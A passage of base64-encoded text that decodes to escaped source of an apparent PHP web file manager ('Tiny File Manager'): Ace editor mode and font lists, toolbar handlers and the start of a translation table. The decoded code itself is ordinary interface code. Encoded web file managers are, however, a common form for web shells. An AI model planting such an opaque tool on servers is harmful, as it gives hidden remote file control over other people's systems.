ICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLCBmdW5jdGlvbihlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICBsZXQgc2VsZWN0ZWRWYWx1ZSA9ICQodGhpcykudmFsKCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cihcImRhdGEtdHlwZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gXCJtb2RlXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcInRoZW1lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSBcImZvbnRTaXplXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0Rm9udFNpemUocGFyc2VJbnQoc2VsZWN0ZWRWYWx1ZSkpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxkaXYgaWQ9XCJzbmFja2JhclwiPjxcL2Rpdj5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cbjw/cGhwXG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dFxuICAgICAqIEByZXR1cm4gc3RyaW5nXG4gICAgICpcL1xuICAgIGZ1bmN0aW9uIGxuZygkdHh0KVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRsYW5nO1xuXG4gICAgICAgICR0clsnZW4nXVsnQXBwTmFtZSddICAgICAgICA9ICdUaW55IEZpbGUgTWFuYWdlcic7XG4gICAgICAgICR0clsnZW4nXVsnQXBwVGl0bGUnXSAgICAgICA9ICdGaWxlIE1hbmFnZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7XG4gICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICA9ICdVc2VybmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGFzc3dvcmQnXSAgICAgICA9ICdQYXNzd29yZCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJztcbiAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgID0gJ0NvcHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7XG4gICAgICAgICR0clsnZW4nXVsnU2VsZWN0QWxsJ10gICAgICA9ICdTZWxlY3QgYWxsJztcbiAgICAgICAgJHRyWydlbiddWydVblNlbGVjdEFsbCddICAgID0gJ1Vuc2VsZWN0IGFsbCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJztcbiAgICAgICAgJHRyWydlbiddWydCYWNrJ10gICAgICAgICAgID0gJ0JhY2snO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NpemUnXSAgICAgICAgICAgPSAnU2l6ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW9kaWZpZWQnXSAgICAgICA9ICdNb2RpZmllZCc7XG4gICAgICAgICR0clsnZW4nXVsnT3duZXInXSAgICAgICAgICA9ICdPd25lcic7XG4gICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnO1xuICAgICAgICAkdHJbJ2VuJ11bJ05ld0l0ZW0nXSAgICAgICAgPSAnTmV3IEl0ZW0nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZvbGRlciddICAgICAgICAgPSAnRm9sZGVyJztcbiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnUmVuYW1lJ10gICAgICAgICA9ICdSZW5hbWUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7XG4gICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7XG4gICAgICAgICR0clsnZW4nXVsnVXBsb2FkaW5nRmlsZXMnXSA9ICdVcGxvYWQgRmlsZXMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7XG4gICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGVOZXdJdGVtJ10gID0gJ0NyZWF0ZSBOZXcgSXRlbSc7XG4gICAgICAgICR0clsnZW4nXVsnT